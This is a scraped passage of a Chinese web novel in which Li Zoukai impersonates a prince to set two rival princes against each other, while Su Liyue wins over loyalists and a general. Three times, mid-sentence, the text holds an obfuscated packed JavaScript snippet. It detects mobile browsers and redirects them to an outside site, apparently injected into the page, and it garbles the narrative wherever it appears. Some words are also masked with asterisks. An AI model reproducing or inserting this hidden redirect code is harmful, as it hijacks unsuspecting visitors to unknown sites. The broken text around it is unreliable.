李奏凯心里一紧,赶紧深吸一口气,捏着嗓子模仿颜璟阴鸷的腔调,朝着门外怒喝:“吵什么?本王处理私事,也轮得到你们管?都滚远点!再敢靠近,打断你们的腿!” 他的模仿惟妙惟肖,连完颜璟平日里的狠劲都学了七八分。 门外的脚步声瞬间停了,接着传来侍卫们喏喏的应声,渐渐远去。 三人这才松了口气,苏璃月看着李奏凯苍白的脸,心疼地帮他擦去嘴角的血:“夫君,你没事吧?” “没事。” 李奏凯摆了摆手,从怀里掏出装着伪装工具的布包,“还好,你夫君我早有准备。” 变声还有这些,都是和凌霜双休后获得的技能。 苏璃月看着布包里的假胡须、**,又想起刚才三人拼死的模样,眼眶微热! 原来他早把所有风险都算到了,连“完颜璟是高手”这件事,都悄悄备好了后手。 “开弓没有回头箭。” 李奏凯握紧**,眼神坚定,“现在,才是大戏的开场!” 苏璃月看着李奏凯手里的**,好奇地追问:“夫君,你这变声、伪装的本事,到底是从哪儿学的?以前怎么从没听你提过?” 李奏凯瞥了眼旁边的凌霜,突然坏笑起来,故意拖长了语调:“这啊,都是跟二娘子双修学来的本事——” “你胡说什么呢!” 凌霜的脸“唰”地红透了,从耳根一直烧到脖子,赶紧伸手去拧李奏凯的胳膊,“什么双修,别乱讲!” 苏璃月看着凌霜羞赧的模样,忍不住笑了出来,屋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244802|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里紧绷的气氛瞬间松快了些。 “好了,不逗你了。” 李奏凯抓住凌霜的手,正想正经说接下来的计划,院外突然传来一阵急促的脚步声,紧接着是一个沉稳的男声: “殿下,时辰到了,该去赴大王子的谈判之约了。” 三人脸色同时一变! 是完颜璟的贴身军师,官拜参军谋事的陆沉舟。 这人极擅算计,是完颜璟夺位的左膀右臂,此刻找上门来,无疑是个**烦! “怎么办?” 凌霜压低声音,紧张地看向李奏凯。 李奏凯迅速将**往脸上贴,又抓过假胡须粘好,对着铜镜快速调整了几下。 镜中的人眉眼间竟真有几分完颜璟的阴鸷,再配上他刚练熟的变声技巧,不细看根本分辨不出真假。 “你们俩躲到屏风后面,不管听到什么都别出来。” 李奏凯叮嘱完,深吸一口气,捏着嗓子,用完颜璟的语气沉声道:“进来。” 门被推开,陆沉舟躬身走进来,眼神不自觉地扫过地上的血迹,刚才打斗时溅在青砖上的血渍还没清理干净。 他眉头微蹙,刚要开口询问,就听完颜璟不耐烦地说道:“本王刚才处理了点私事,地上的痕迹,让下人来清了。” 陆沉舟心里虽有疑虑,却不敢多问,只能低头应道:“是!殿下,大王子已在城外的望星楼等着了,您看……” “知道了。” 李奏凯模仿着完颜璟的姿态,背着手走到门口,故意放慢脚步,怕露出破绽,“备车吧,本王这就过去。” 陆沉舟应声退下,转身去安排车马。 屋里的两人从屏风后走出来,苏璃月看着李奏凯的装扮,忍不住赞道:“夫君这扮相,连我都快认不出了。” “别夸了,这才刚开始。” 李奏凯压低声音,“陆沉舟精明得很,我得小心应付!你们俩趁现在,赶紧去联系京里的旧部,按原计划准备,等我从望星楼回来,咱们就动手。” 凌霜和苏璃月点头,趁着外面侍卫不备,从后院的角门悄悄离开。 李奏凯则整理了一下衣袍,迈着与完颜璟相似的步伐,走出了宅院。 第140章 峰回路转见希望! 第一百四十章峰回路转见希望! 苏璃月和凌霜按着暗号,绕了好几条僻静小巷,终于来到京郊青城一处破败的官宅前。 这是她前朝旧部——已退休的禁军副统领卫峥的住处,出发前她就暗中传了信,让京中旧部来此集合。 推开门,院里只有卫峥一个人,正坐在石阶上抽着旱烟,见她们来,赶紧掐了烟起身:“公主,你们可算来了。” “卫叔,其他人呢?” 苏璃月环顾空荡荡的院子,心瞬间沉了下去。 卫峥叹了口气,眉头皱得紧紧的:“我等了快两个时辰,就只来了我一个!刚才去附近打探了下,有些兄弟说……不敢来。” 凌霜攥紧了拳头:“不敢来?这都什么时候了,他们忘了当年圣上是怎么待他们的?” 苏璃月的脸色也白了几分。 若是旧部不来,李奏凯独自去跟大王子谈判,生死难料,她们的计划也会彻底泡汤! 正绝望时,院门外突然传来脚步声,宁文轩跟着一个身着常服的中年男人走了进来,正是宁仲谋。 而宁仲谋身侧,还站着个身着铠甲、面容刚毅的男人,正是宁文轩的大哥,当朝镇北将军宁彦章! “宁大人?宁将军?你们怎么来了?” 凌霜又惊又喜,赶紧迎上去。 宁文轩看着凌霜焦急的样子,赶紧笑着摆手:“凌霜姐姐,别急,给你个小惊喜。” 说完,他冲门外喊了声,“都进来吧!” 十几个乔装打扮,都穿着短打的汉子鱼贯而入,个个眼神坚毅,见到苏璃月,纷纷单膝跪地:“参见公主!” 苏璃月又惊又喜,刚要开口,目光扫过人群,笑容又淡了下去。 这才十几个人,她在京中的旧部明明有三四十个,而且掌管禁军库房、布防司文书等等的几个关键人物,一个都没来! 宁仲谋看出她的心思,沉声道:“苏姑娘,实不相瞒,这些人是我亲自去联络的!大部分旧部……要么这几年已经投靠了当今朝廷,成了大王子或二王子的人;要么就是觉得这次风险太大,怕牵连家人,选择明哲保身,说什么也不肯来。” “哼!” 凌霜忍不住哼了一声,语气里满是不屑,“平时都念着前朝的恩,到了关键时候,谁靠得住谁靠不住,一眼就看出来了!” “好了,现在不是说这些的时候。” 苏璃月深吸一口气,压下心里的失落,目光落在宁彦章身上,眼神骤然亮了。 她突然想起,宁彦章掌管着京郊三营的部分兵权,若是能拉他入伙,胜算能翻一倍。 她上前一步,拱手道:“宁将军,这次能不能成,您是核心!京郊三营握在您手里,只有您能动用兵权,帮我们牵制大王子的人!” 宁彦章却突然冷笑一声,眼神里满是淡漠:“公主说笑了!我是当朝将军,不是来替你们**的。” 苏璃月和凌霜顿时一愣。 “你、你什么意思?” 凌霜上前一步,警惕地看着他,“难道你是来抓捕我们,回去邀功的?” “抓捕倒不至于。” 宁彦章摇了摇头,语气平静却带着不容置疑的坚定,“我只是来劝你们放弃的!朝代更替,本就是不可逆的事。当今圣上虽不算千古明君,却也没苛待百姓,你们何苦要为了‘前朝’两个字,把自己和这些兄弟都搭进去?” 他顿了顿,又道:“二王子已死,大王子很快就会掌控京城,你们这点人,根本掀不起风浪,只会白白送命!听我一句劝,散了吧,找个地方安稳度日,可比什么都强。” “安稳度日?” 苏璃月突然提高声音,眼神里满是悲愤和坚定,“宁将军,你忘了当年前朝覆灭时,多少忠良被斩?多少百姓流离失所?如今朝廷层层之间又是如何无能**?就连金陵这样的城市,也黑暗横行!” “我要的不是江山权力,是要让那些背叛前朝、助纣为虐的人,付出代价!是要改善当今民生!” 她往前走了两步,声音慷慨激昂:“你说当今朝廷没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244803|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么不好,可大王子残暴嗜杀,二王子阴险狡诈,他们若真争出了胜负,只会变本加厉地压榨百姓!我们不是为了复国而战,是为了守住这京城的安宁,守住那些还念着旧恩的兄弟的命!” 宁彦章皱着眉,没说话。 苏璃月的话,戳中了他心里最在意的地方。 他虽为当朝将军,却也看不惯大王子和二王子的争斗,更不忍见百姓遭殃。 苏璃月见状,趁热打铁道:“宁将军,我们不是要硬碰硬!我夫君现在正扮成二王子,去跟大王子谈判——他会故意激怒大王子,让两方斗得两败俱伤!” “到时候,您带着京郊三营的人守住城门,我们这些人从望星楼后方突袭,坐收渔翁之利!既不用大规模厮杀,又能平定这场内乱,难道不比看着他们自相残杀,让京城陷入混乱好吗?” 这番话,终于让宁彦章动了心。 他沉默片刻,抬头看向苏璃月,眼神里多了几分决然:“好!我信你们一次!京郊三营我会稳住,望星楼那边,你们若需要支援,我立刻调人过去!” 苏璃月松了口气,心里的石头终于落了一半。 卫峥和十几个旧部也跟着振奋起来,齐声喊道:“属下愿听公主、将军差遣!” 凌霜看着眼前的局面,也露出了笑容。 原本以为走投无路,没想到峰回路转,不仅有了宁仲谋等人的助力,还拉拢到了握有兵权的宁彦章。 苏璃月立刻开始分派任务:“卫叔,你带几个人去望星楼后门,伺机接应我夫君;宁将军,您立刻回营,稳住京郊三营,别让大王子的人察觉到异动;宁大人,您和文轩去布防司,盯着大王子的人……” 夕阳的余晖透过院墙洒进来,映着众人紧绷却坚定的脸。 此时,望星楼二楼雅间,李奏凯正戴着**,端坐在完颜璟的位置上,指尖转着玉扳指,竭力模仿着二王子的阴鸷气场。 对面的大王子完颜瑾一袭**纹锦袍,身后站着十几个膀大腰圆的侍卫,气场压得人喘不过气。 第141章 渔翁得利! 第一百四十一章渔翁得利! “二弟,你倒是有胆子来。” 完颜瑾端起茶杯,语气带着几分嘲讽,“你该知道,朝廷六部、禁军大半都在我手里,连吏部尚书昨天都递了投名状,你手里那点兵权,根本不够看!” 李奏凯捏着嗓子,用完颜璟的腔调冷笑:“大哥倚仗着顺位,就觉得胜券在握了?父王最疼的是我,只要我开口,他随时能给我加兵。” “父王疼你?” 完颜瑾嗤笑一声,将茶杯重重顿在桌上,“他疼你,也没敢废了我这个太子!二弟,识相点就乖乖交出兵权,等我登基,封你个靖王,去江南享清福,若是再敢搞事——” 他眼神一厉,“我现在就能以‘谋逆’的罪名,送你归西!” 李奏凯心里盘算着时间,故意露出几分“慌乱”,又强装镇定:“大哥别逼我!我手里有不少人,真逼急了,我让他们在京城闹起来,咱们鱼死网破!” “鱼死网破?就凭你?” 完颜瑾像是听到了天大的笑话,冲身后侍卫使了个眼色,“看来二弟是铁了心要反了!来人,把他拿下!” 两个侍卫立刻扑上来,李奏凯“慌”得起身躲闪,故意撞翻了桌案,茶杯、酒菜撒了一地。 雅间外的二王子亲信听到动静,也拔刀冲了进来。 两派势力瞬间打作一团,刀光剑影,喊杀声震得楼板都在颤。 这一动手,如同点燃了**。 望星楼外,二王子预先埋伏的三百精锐,和大王子带来的五百禁军瞬间交锋,刀劈**,鲜血溅在青石板上,很快汇成了小溪。 更远处,京城各条街巷都乱了! 大王子掌控的禁军在街头布防,二王子的京郊兵则从西城门涌入,双方在朱雀大街、鼓楼广场展开厮杀。 箭矢如雨,甲胄碰撞声、惨叫声、喊杀声交织在一起,整个京城一下子都陷入了混乱! 李奏凯混在雅间的乱战中,一边“狼狈”躲闪,一边悄悄观察局势。 二王子的人本就比大王子少,又没了完颜璟的指挥,很快就落了下风。雅间里,二王子的侍卫倒下一片,陆沉舟被砍伤了胳膊,只能靠着墙角勉强支撑; 楼外,二王子的精锐更是节节败退,京郊兵被禁军分割包围,眼看就要全军覆没。 “撤!” 李奏凯见时机差不多,故意装作“不敌”,喊了声,带着陆沉舟和几个残余亲信,从望星楼后门突围。 可刚跑到巷口,就被大王子的人堵住! 三百多禁军列着阵,刀枪如林,将他们逼到了一处废弃的戏台子前,退无可退。 “哈哈哈!二弟,跑啊!怎么不跑了?” 完颜瑾骑马赶来,居高临下地看着被围在中间的“二王子”,笑得嚣张至极,“我给过你机会!是你自己选的死路,可别怪为兄心狠手辣!” 李奏凯靠在戏台的柱子上,却突然笑了,笑声清亮,和刚才的阴鸷截然不同:“大哥,你确定赢了吗?” 完颜瑾一愣:“哼,死到临头还嘴硬?” “嘴硬?” 李奏凯抬手,猛地撕下脸上的**,露出自己的脸。 阳光透过戏台的破洞照进来,场中瞬间静了! 完颜瑾的禁军们瞪圆了眼,连陆沉舟都惊得忘了包扎伤口,指着他失声喊道:“二王子?你……你怎么变了脸?” “老子才不是什么狗屁二王子。” 李奏凯拍了拍身上的灰尘,声音掷地有声,“老子是李奏凯,苏璃月的丈夫!” 这话像炸雷似的在戏台上炸开。 陆沉舟脸色煞白,难怪刚才“二王子”的举止总有些不对劲,原来竟是被掉了包! 大王子的禁军们也懵了,看着满地的尸体和伤兵,才反应过来,他们两派拼得你死我活,竟全是被这个陌生人当枪使了! “你……你们,竟敢耍我?” 完颜瑾气得浑身发抖,脸色青一阵紫一阵,指着李奏凯怒吼,“杀!给我杀了他!” 侍卫们刚要冲上前,李奏凯却抬手示意,声音里满是底气:“别急啊大王子,你先看看四周,现在谁是瓮中之鳖,还不一定呢。” 众人顺着他的目光看去,只见戏台子周围的屋顶、巷口,突然冒出密密麻麻的人影。 苏璃月带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16244804|181964||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着前朝旧部,凌霜领着江湖朋友,宁彦章亲率京郊三营的士兵,将整个戏台子团团围住,箭**都对准了场中。 陆沉舟见状,立刻跪倒在地,连滚带爬地扑到完颜瑾脚边,哭喊道:“大王子饶命!臣不知情啊!是这李奏凯冒充二王子,臣被他骗了!” 二王子的残余势力也纷纷效仿,跪地求饶,恨不得立刻和“谋逆”撇清关系。 “一群废物!” 完颜瑾气得牙齿咬得咯咯响,指着李奏凯的手指都在抖,“我不管他是谁!今天谁都别想活着走!杀!给我杀了他!” 可他的话音刚落,宁彦章的声音就从巷口传来:“完颜瑾!你煽动内乱,残害兄弟,现已被包围!放下武器,束手就擒!” 场中的禁军们面面相觑,手里的刀都松了几分,外面全是京郊三营的人,他们根本冲不出去。 李奏凯看着气急败坏的完颜瑾,笑着拱了拱手:“大王子,承让了!这场戏,该落幕了。” “可恶!” 完颜瑾勒住马缰,居高临下地瞪着宁彦章,声音里满是威压:“宁彦章!父王封你为镇北将军,将京郊三营的兵权交予你手,待我登基,还要升你为兵部尚书,你就是这样报答大圣王朝的?” 宁彦章握着**的手紧了紧,刚要开口,苏璃月已上前一步,手中高举着一枚刻有“大胤王朝”字样的龙纹令牌,声音清亮: “完颜瑾,你少拿‘王朝’当幌子!你为了夺位,勾结朝臣,残害忠良,连亲兄弟都想斩尽杀绝——这等乱臣贼子,也配谈‘报答’?” 她环视着在场的士兵,眼神灼热,语气慷慨激昂: “在场的诸位,有谁没受过完颜兄弟争斗的苦?禁军的兄弟,你们的粮饷被他克扣填了私库;京郊的兵卒,你们的家人被他强征去修王府!我手中这枚,是前朝先王的传国令牌,今日我苏璃月在此立誓——只要光复大胤,必恢复天子清明,照拂百姓,也会让诸位有功之人得到应有的嘉奖!” “杀逆贼!复大统!” 卫峥率先喊出声,十几个前朝旧部跟着呼应,宁彦章的京郊兵也纷纷举枪,呼声震得戏台子的瓦片都在颤。